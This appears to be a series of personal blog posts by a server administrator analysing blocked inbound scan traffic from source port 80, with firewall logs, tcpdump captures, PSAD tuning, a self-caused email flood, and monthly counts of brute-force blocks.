Inbound traffic on source port 80

I haven't checked my firewall logs in awhile, so I decided to do a very quick assessment.

I immediately noticed a pattern of inbound hosts attempting to communicate on source port 80, which is weird, as that's not typically a normal port for non-webservers to communicate on.  Web clients typically communicate on destination port 80 unless it's the web server responding to a previous HTTP request (to a client).  That's not the case here.  These connection attempts are being initiated at source port, by IPs not normally affiliated with my server.

Here's an example:

Jul  2 08:40:18 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=92.53.126.193 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=53 ID=21826 PROTO=TCP SPT=80 DPT=64689 WINDOW=16384 RES=0x00 ACK SYN URGP=0
Jul  2 11:15:50 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=77.241.198.20 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=115 ID=30264 DF PROTO=TCP SPT=80 DPT=8713 WINDOW=8192 RES=0x00 ACK SYN URGP=0
Jul  2 11:15:53 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=77.241.198.20 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=115 ID=323 DF PROTO=TCP SPT=80 DPT=8713 WINDOW=8192 RES=0x00 ACK SYN URGP=0
Jul  2 12:17:20 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=172.245.4.168 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=56 ID=0 DF PROTO=TCP SPT=80 DPT=5359 WINDOW=5840 RES=0x00 ACK SYN URGP=0
Jul  2 14:37:01 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=94.23.170.2 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=52 ID=36510 PROTO=TCP SPT=80 DPT=26429 WINDOW=16384 RES=0x00 ACK SYN URGP=0
Jul  2 14:39:33 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=91.121.9.198 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=52 ID=43029 PROTO=TCP SPT=80 DPT=30638 WINDOW=16384 RES=0x00 ACK SYN URGP=0
Jul  2 15:02:45 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=213.186.33.5 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=35986 PROTO=TCP SPT=80 DPT=11082 WINDOW=536 RES=0x00 ACK SYN URGP=0
Jul  2 17:02:10 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=91.105.235.7 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=52 ID=0 DF PROTO=TCP SPT=80 DPT=40217 WINDOW=14600 RES=0x00 ACK SYN URGP=0
Jul  2 17:02:10 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=91.105.235.7 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=52 ID=0 DF PROTO=TCP SPT=80 DPT=40217 WINDOW=14600 RES=0x00 ACK SYN URGP=0
Jul  2 17:53:52 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=142.4.208.23 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=56 ID=0 DF PROTO=TCP SPT=80 DPT=31415 WINDOW=14600 RES=0x00 ACK SYN URGP=0
Jul  2 18:15:55 li7-220 kernel: Clean-up Rule - BLOCKED: IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:84:78:ac:0d:79:c1:08:00 SRC=199.101.102.66 DST=abc.def.ghi.klm LEN=44 TOS=0x00 PREC=0x00 TTL=54 ID=0 DF PROTO=TCP SPT=80 DPT=23103 WINDOW=14600 RES=0x00 ACK SYN URGP=0

Almost half of the logged traffic is trying to communicate on source port 80 (of 486 log entries, 218 are source port 80).  The traffic is being blocked by the firewall, and what I'm seeing is initiation attempts.  This traffic isn't a huge issue, but I'm curious as to what's going on.  I've commented on such traffic before, but the amount I'm seeing now is far more than what I'm used to seeing.

I think I'll capture some traffic to try to see what's going on.

EDIT:  nothing much captured so far.  After some sniffing and tinkering, I had to filter some IPs out - two IPs belong to my server and the other belongs to Ubuntu):

root@li7-220:~# tcpdump -XXvvnne -s 0 -r pcap.linode.src_port_80_2 | less
reading from file pcap.linode.src_port_80_2, link-type EN10MB (Ethernet)
20:56:43.532338 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 112, id 3943, offset 0, flags [none], proto TCP (6), length 44)
    190.220.25.34.80 > abc.def.ghi.klm 1234: Flags [S.], cksum 0x36e9 (correct), seq 2466963778, ack 1, win 16384, options [mss 1460], length 0
        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.
        0x0010:  002c 0f67 0000 7006 93a8 bedc 1922 42a0  .,.g..p......"B.
        0x0020:  8d1e 0050 04d2 930a e142 0000 0001 6012  ...P.....B....`.
        0x0030:  4000 36e9 0000 0204 05b4 0000            @.6.........

UPDATE:  I let a pcap capture run overnight and when I checked the process, I got 999 hits.  In looking at the pcap, I saw that I'd missed a few Ubuntu server IPs that my sercer was polling (for OS updates).  I filtered those out and got 22 hits:


21:29:53.200175 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 53, id 0, offset 0, flags [DF], proto TCP (6), length 44)
    206.188.198.69.80 > abc.def.ghi.jkl.31029: Flags [S.], cksum 0x6868 (correct), seq 2068810236, ack 320012289, win 14600, options [mss 1460], length 0
        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.
        0x0010:  002c 0000 4000 3506 e10b cebc c645 42a0  .,..@.5......EB.
        0x0020:  8d1e 0050 7935 7b4f 89fc 1313 0001 6012  ...Py5{O......`.
        0x0030:  3908 6868 0000 0204 05b4 4001            9.hh......@.
23:44:52.151134 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 50, id 0, offset 0, flags [DF], proto TCP (6), length 44)
    109.236.85.70.80 > abc.def.ghi.jkl.15190: Flags [S.], cksum 0x0d4e (correct), seq 3480870608, ack 3571253249, win 14600, options [mss 1460], length 0
        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.
        0x0010:  002c 0000 4000 3206 b5db 6dec 5546 42a0  .,..@.2...m.UFB.
        0x0020:  8d1e 0050 3b56 cf79 ded0 d4dd 0001 6012  ...P;V.y......`.
        0x0030:  3908 0d4e 0000 0204 05b4 0000            9..N........
23:59:19.278658 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 57, id 3552, offset 0, flags [none], proto TCP (6), length 44)
    168.61.144.13.80 > abc.def.ghi.jkl.56871: Flags [S.], cksum 0xeacd (correct), seq 280591713, ack 4171956225, win 16384, options [mss 1460], length 0
        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.
        0x0010:  002c 0de0 0000 3906 6be3 a83d 900d 42a0  .,....9.k..=..B.
        0x0020:  8d1e 0050 de27 10b9 7d61 f8ab 0001 6012  ...P.'..}a....`.
        0x0030:  4000 eacd 0000 0204 05b4 0000            @...........
01:51:58.488229 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 55, id 0, offset 0, flags [DF], proto TCP (6), length 44)
    84.16.89.109.80 > abc.def.ghi.jkl.25420: Flags [S.], cksum 0x1559 (correct), seq 1800765718, ack 3394417182, win 14600, options [mss 1460], length 0
        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.
        0x0010:  002c 0000 4000 3706 c690 5410 596d 42a0  .,..@.7...T.YmB.
        0x0020:  8d1e 0050 634c 6b55 8116 ca52 b21e 6012  ...PcLkU...R..`.
        0x0030:  3908 1559 0000 0204 05b4 0000            9..Y........
03:57:00.885857 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 118, id 7812, offset 0, flags [DF], proto TCP (6), length 44)
    188.138.86.58.80 > abc.def.ghi.jkl.3456: Flags [S.], cksum 0xec7d (correct), seq 689800127, ack 2517303297, win 8192, options [mss 1460], length 0
        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.
        0x0010:  002c 1e84 4000 7606 ab68 bc8a 563a 403e  .,..@.v..h..V:@>
        0x0020:  e7dc 0050 0d80 291d 83bf 960b 0001 6012  ...P..).......`.
        0x0030:  2000 ec7d 0000 0204 05b4 0000            ...}........
07:56:45.059391 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 244, id 31356, offset 0, flags [none], proto TCP (6), length 40)
    164.177.186.182.80 > abc.def.ghi.jkl.24548: Flags [R.], cksum 0x2305 (correct), seq 1331337029, ack 1, win 5840, length 0
        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.
        0x0010:  0028 7a7c 0000 f406 1d2d a4b1 bab6 42a0  .(z|.....-....B.
        0x0020:  8d1e 0050 5fe4 4f5a 9745 0000 0001 5014  ...P_.OZ.E....P.
        0x0030:  16d0 2305 0000 0000 0000 0000            ..#.........
08:29:11.344433 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 234, id 38305, offset 0, flags [none], proto TCP (6), length 40)
    222.231.1.55.80 > abc.def.ghi.jkl.1234: Flags [S.], cksum 0xd717 (correct), seq 3438077857, ack 1, win 5840, length 0
        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.
        0x0010:  0028 95a1 0000 ea06 32f5 dee7 0137 403e  .(......2....7@>
        0x0020:  e7dc 0050 04d2 ccec e7a1 0000 0001 5012  ...P..........P.
        0x0030:  16d0 d717 0000 0000 0000 0000            ............

08:47:53.958682 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 221, id 14963, offset 0, flags [none], proto TCP (6), length 40)

    222.231.1.55.80 > abc.def.ghi.jkl.1234: Flags [S.], cksum 0xf320 (correct), seq 2967725985, ack 1, win 5840, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 3a73 0000 dd06 9b23 dee7 0137 403e  .(:s.....#...7@>

        0x0020:  e7dc 0050 04d2 b0e3 e7a1 0000 0001 5012  ...P..........P.

        0x0030:  16d0 f320 0000 0000 0000 0000            ............

09:08:53.303546 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 62: (tos 0x0, ttl 116, id 26734, offset 0, flags [none], proto TCP (6), length 48)

    66.161.44.199.80 > abc.def.ghi.jkl.61773: Flags [S.], cksum 0x0776 (correct), seq 3759141565, ack 2231612163, win 16384, options [mss 1460,nop,nop,sackOK], length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0030 686e 0000 7406 9f33 42a1 2cc7 42a0  .0hn..t..3B.,.B.

        0x0020:  8d1e 0050 f14d e00f f2bd 8503 b303 7012  ...P.M........p.

        0x0030:  4000 0776 0000 0204 05b4 0101 0402       @..v..........

11:57:44.978045 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0x2882 (correct), seq 2018622826, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 8c11 df04 759f 403e  .(..@.r.....u.@>

        0x0020:  e7dc 0050 d484 7851 bd6a 0000 0001 5012  ...P..xQ.j....P.

        0x0030:  0000 2882 0000 aaaa 0000 2882            ..(.......(.

11:59:10.842293 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.41266: Flags [S.], cksum 0xa070 (correct), seq 2354167082, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 e46d df04 759f 42a0  .(..@.r..m..u.B.

        0x0020:  8d1e 0050 a132 8c51 bd2a 0000 0001 5012  ...P.2.Q.*....P.

        0x0030:  0000 a070 0000 aaaa 0000 a070            ...p.......p

12:02:08.880498 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x2,ECT(0), ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0x28c2 (correct), seq 2018622762, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4502  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 8c0f df04 759f 403e  .(..@.r.....u.@>

        0x0020:  e7dc 0050 d484 7851 bd2a 0000 0001 5012  ...P..xQ.*....P.

        0x0030:  0000 28c2 0000 aaaa 0000 28c2            ..(.......(.

12:53:54.286082 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0x2594 (correct), seq 2067774826, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 8c11 df04 759f 403e  .(..@.r.....u.@>

        0x0020:  e7dc 0050 d484 7b3f bd6a 0000 0001 5012  ...P..{?.j....P.

        0x0030:  0000 2594 0000 aaaa 0000 2594            ..%.......%.

12:55:19.762030 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.41266: Flags [S.], cksum 0x5cec (correct), seq 3486891306, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 e46d df04 759f 42a0  .(..@.r..m..u.B.

        0x0020:  8d1e 0050 a132 cfd5 bd2a 0000 0001 5012  ...P.2...*....P.

        0x0030:  0000 5cec 0000 aaaa 0000 5cec            ..\.......\.

13:00:54.393330 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0xa4fd (correct), seq 4225088874, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 8c11 df04 759f 403e  .(..@.r.....u.@>

        0x0020:  e7dc 0050 d484 fbd5 bd6a 0000 0001 5012  ...P.....j....P.

        0x0030:  0000 a4fd 0000 aaaa 0000 a4fd            ............

13:05:42.419546 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 240, id 18537, offset 0, flags [none], proto TCP (6), length 40)

    195.244.222.208.80 > abc.def.ghi.jkl.3409: Flags [S.], cksum 0xa210 (correct), seq 302051360, ack 857669633, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 4869 0000 f006 b786 c3f4 ded0 403e  .(Hi..........@>

        0x0020:  e7dc 0050 0d51 1200 f020 331f 0001 5012  ...P.Q....3...P.

        0x0030:  0000 a210 0000 0000 0000 0000            ............

13:16:03.791551 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 52, id 16141, offset 0, flags [none], proto TCP (6), length 44)

    94.23.225.114.80 > abc.def.ghi.jkl.24664: Flags [S.], cksum 0x369d (correct), seq 323364370, ack 533921793, win 16384, options [mss 1460], length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  002c 3f0d 0000 3406 e01a 5e17 e172 403e  .,?...4...^..r@>

        0x0020:  e7dc 0050 6058 1346 2612 1fd3 0001 6012  ...P`X.F&.....`.

        0x0030:  4000 369d 0000 0204 05b4 2626            @.6.......&&

13:26:19.398167 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 116, id 33033, offset 0, flags [none], proto TCP (6), length 40)

    121.10.105.5.80 > abc.def.ghi.jkl.1234: Flags [.], cksum 0x1c3f (correct), seq 2951871426, ack 788062144, win 8760, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 8109 0000 7406 13f9 790a 6905 42a0  .(....t...y.i.B.

        0x0020:  8d1e 0050 04d2 aff1 fbc2 2ef8 dfc0 5010  ...P..........P.

        0x0030:  2238 1c3f 0000 aaaa 2238 1c3f            "8.?...."8.?

13:35:52.715311 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0xa2a5 (correct), seq 4264410474, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 8c11 df04 759f 403e  .(..@.r.....u.@>

        0x0020:  e7dc 0050 d484 fe2d bd6a 0000 0001 5012  ...P...-.j....P.

        0x0030:  0000 a2a5 0000 aaaa 0000 a2a5            ............

13:37:20.082116 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.41266: Flags [S.], cksum 0x2295 (correct), seq 170769706, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 e46d df04 759f 42a0  .(..@.r..m..u.B.

        0x0020:  8d1e 0050 a132 0a2d bd2a 0000 0001 5012  ...P.2.-.*....P.

        0x0030:  0000 2295 0000 aaaa 0000 2295            ..".......".

14:03:05.415420 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 55, id 9949, offset 0, flags [none], proto TCP (6), length 44)

    69.20.56.19.80 > abc.def.ghi.jkl.48972: Flags [S.], cksum 0x1c7d (correct), seq 1191661700, ack 1191661700, win 16384, options [mss 1460], length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  002c 26dd 0000 3706 100a 4514 3813 42a0  .,&...7...E.8.B.

        0x0020:  8d1e 0050 bf4c 4707 5084 4707 5084 6012  ...P.LG.P.G.P.`.

        0x0030:  4000 1c7d 0000 0204 05b4 0000            @..}........

14:35:45.494119 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 232, id 40546, offset 0, flags [none], proto TCP (6), length 40)

    222.231.1.199.80 > abc.def.ghi.jkl.1234: Flags [S.], cksum 0xaea0 (correct), seq 1770244942, ack 1, win 5840, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 9e62 0000 e806 8400 dee7 01c7 42a0  .(.b..........B.

        0x0020:  8d1e 0050 04d2 6983 cb4e 0000 0001 5012  ...P..i..N....P.

        0x0030:  16d0 aea0 0000 0000 0000 0000            ............

Each are SYN packets...the firewall is blocking any further activity (at the catch-all/deny-all rule).

I did notice a pattern, though:

root@li7-220:~# cat test3.txt | grep "1234"

    222.231.1.55.80 > abc.def.ghi.jkl.1234: Flags [S.], cksum 0xd717 (correct), seq 3438077857, ack 1, win 5840, length 0

    222.231.1.55.80 > abc.def.ghi.jkl.1234: Flags [S.], cksum 0xf320 (correct), seq 2967725985, ack 1, win 5840, length 0

    121.10.105.5.80 > abc.def.ghi.jkl.1234: Flags [.], cksum 0x1c3f (correct), seq 2951871426, ack 788062144, win 8760, length 0

    222.231.1.199.80 > abc.def.ghi.jkl.1234: Flags [S.], cksum 0xaea0 (correct), seq 1770244942, ack 1, win 5840, length 0

root@li7-220:~# cat test3.txt | grep "41266"

    223.4.117.159.80 > abc.def.ghi.jkl.41266: Flags [S.], cksum 0xa070 (correct), seq 2354167082, ack 1, win 0, length 0

    223.4.117.159.80 > abc.def.ghi.jkl.41266: Flags [S.], cksum 0x5cec (correct), seq 3486891306, ack 1, win 0, length 0

    223.4.117.159.80 > abc.def.ghi.jkl.41266: Flags [S.], cksum 0x2295 (correct), seq 170769706, ack 1, win 0, length 0

root@li7-220:~# cat test3.txt | grep "54404"

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0x2882 (correct), seq 2018622826, ack 1, win 0, length 0

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0x28c2 (correct), seq 2018622762, ack 1, win 0, length 0

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0x2594 (correct), seq 2067774826, ack 1, win 0, length 0

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0xa4fd (correct), seq 4225088874, ack 1, win 0, length 0

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0xa2a5 (correct), seq 4264410474, ack 1, win 0, length 0

As well, in the below instances, the source host is the same.  The packets are maybe 2 min apart (this is a sequential set of packets).  The destination ports are different:

13:35:52.715311 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.54404: Flags [S.], cksum 0xa2a5 (correct), seq 4264410474, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 8c11 df04 759f 403e  .(..@.r.....u.@>

        0x0020:  e7dc 0050 d484 fe2d bd6a 0000 0001 5012  ...P...-.j....P.

        0x0030:  0000 a2a5 0000 aaaa 0000 a2a5            ............

13:37:20.082116 84:78:ac:0d:79:c1 > fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 60: (tos 0x0, ttl 114, id 0, offset 0, flags [DF], proto TCP (6), length 40)

    223.4.117.159.80 > abc.def.ghi.jkl.41266: Flags [S.], cksum 0x2295 (correct), seq 170769706, ack 1, win 0, length 0

        0x0000:  fefd 403e e7dc 8478 ac0d 79c1 0800 4500  ..@>...x..y...E.

        0x0010:  0028 0000 4000 7206 e46d df04 759f 42a0  .(..@.r..m..u.B.

        0x0020:  8d1e 0050 a132 0a2d bd2a 0000 0001 5012  ...P.2.-.*....P.

        0x0030:  0000 2295 0000 aaaa 0000 2295            ..".......".

Someone is scanning my server and purposely using source port 80 when attempting deliberate (and distributed) scans.  If I had the balls to run a honeypot, I could probably gain a better understanding of what type of scans are being conducted.

PSAD - DoS'd my Linode and my G-mail account

Yes, I DoS'd myself.

How?

I was tuning my firewall so that PSAD wouldn't alert on traffic from my static IP.  This was caused by me using a half-baked firewall policy (ie, the firewall was allowing too much and not blocking what it should've).  So, while making the policy more secure, I ended up blocking some of DNS, which the firewall blocked via the clean-up rule (deny by default policy on all chains).  

I didn't double-check my work, and 24 hours later, I was checking the server via the admin console and saw that the disk I/O was extremely high when looking at the system graphs.  CPU utilization was also wayyy up.  

I initially couldn't figure out what was going on, until I used Webmin to access the server and found that it was taking forever for the server to resolve the domain address.  As well, there were like 30,000 e-mails in the Postfix e-mail queue.  I was basically spamming the hell out of Gmail and DShield.  I'd begun to wipe out all the Gmail notifications, but I soon realized that I wasn't making any headway, so I killed PSAD, cleared ALL the mail in the queue, then restarted PSAD.  It was still generating e-mails, though, so I turned off e-mail notifications, as well as syslog notifications.  I also killed my DShield log feed.  THEN I fixed DNS by just rolling back to a known good policy...then I told PSAD to not log on port 53/UDP (no real need to log that traffic anyways, unless it hits the catch-all rule, but that wouldn't happen now since I fixed DNS within the policy).

It took quite awhile for Gmail to finish processing the e-mails (the ones that I couldn't kill via Postfix).

I just now re-enabled syslogging and the DShield log feed, but may have to reach out to the SANS team to see if they can remove all DNS traffic that was logged by my static IPs.

I think I've everything fixed now.

PSAD

I decided to give PSAD a spin on the Linode since I've never tried it before.  I'm impressed at the features of  it.  I've been running it maybe a bit over a month.  I get alerts whenever PSAD detects a scan or when it logs and drops specific traffic, so I'm aware of what's going on (instead of having to check my firewall logs).  One of the main reasons I decided to give PSAD a spin is because my fwanalog setup stopped working due to a code bug that affects Ubuntu v12.04.

One of the things I've been doing (I used to do this in the past) is I send my dropped logs to Dshield.org (or isc.sans.org).  One of PSAD's features enables me to send the logs, vs. using third-party or Dshield apps.

I noticed when sending my logs that I'm catching bidirectional traffic and my server IP is being flagged as a result.  Why?  I was blocking 118.0.0.0/8 (a large segment of APAC).  I was not only blocking but sending resets, which requires my firewall to send resets when means my IP is talking back, even though it's ending the session.  My firewall logs it as a drop.  To fix this, I just configured the firewall to drop the traffic, although I could've just changed the --log-prefix tag to something other than DROP, which by default PSAD looks for.  I'll monitor the Dshield logs to see how PSAD is now reporting.

58.221.32.117 hammering my server

I've been seeing 58.221.32.117 in my logs, especially within the last week or so.  So far, I've 5,356 instances of blocking by the firewall for this particular IP.  All traffic is coming from source port 80 of that IP.  Yes, every single instance was blocked.

Has anyone else seen similar activity from this IP?

A whois shows the following:

IP address [?]:	58.221.32.117 [Whois] [Reverse IP]
IP country code:	CN
IP address country:	China
IP address state:	Beijing
IP address city:	Beijing
IP address latitude:	39.9289
IP address longitude:	116.3883
ISP of this IP [?]:	CHINANET jiangsu province network
Organization:	CHINANET jiangsu province network
Local time in China:	2010-10-06 10:29

FW Log Check

Doing a remote check of FW activity, I've found that the FW has blocked MANY IPs in the last 9 days:

[root@delly ~]# zcat /var/log/bruteforce.0908* | wc -l
11424

Those are all unique IPs. Out of curiosity, I checked July's and May's logs:

[root@delly ~]# zcat /var/log/bruteforce.0907* | wc -l
40511

[root@delly ~]# zcat /var/log/bruteforce.0906* | wc -l
10121

All I can say is, "WOW!!" There was a HUGE spike in July (maybe due to summer vacation of most kids). Unfortunately, my logs don't go back beyond June.

I'm curious as to how August will be but I can already see that the number will be high. I'll update the blog as I as continue to watch.

[EDIT: I checked August's count and it is below:

zcat /var/log/bruteforce.0908* | wc -l
40761

September (so far) is:

zcat /var/log/bruteforce.0909* | wc -l
20186

I think I'll start scripting this command to run every week so that I can start trending.[09/15/2009]]




[Edit:


So, it is 7/19/2011.  I will try to graph what I'm about to provide, but here's what I have after zcatting some .gz files:

2011:

[root@delly ~]# zcat /var/log/bruteforce.1107* | wc -l

   58589

[root@delly ~]# zcat /var/log/bruteforce.1106* | wc -l

   91736

[root@delly ~]# zcat /var/log/bruteforce.1105* | wc -l

   93765

[root@delly ~]# zcat /var/log/bruteforce.1104* | wc -l

   89521

[root@delly ~]# zcat /var/log/bruteforce.1103* | wc -l

   91337

[root@delly ~]# zcat /var/log/bruteforce.1102* | wc -l

   81415

[root@delly ~]# zcat /var/log/bruteforce.1101* | wc -l

   89971

2010:

[root@delly ~]# zcat /var/log/bruteforce.1012* | wc -l

   90024

[root@delly ~]# zcat /var/log/bruteforce.1011* | wc -l

   87120

[root@delly ~]# zcat /var/log/bruteforce.1010* | wc -l

   89748

[root@delly ~]# zcat /var/log/bruteforce.1009* | wc -l

   85585

[root@delly ~]# zcat /var/log/bruteforce.1008* | wc -l

   84738

[root@delly ~]# zcat /var/log/bruteforce.1007* | wc -l

   66438

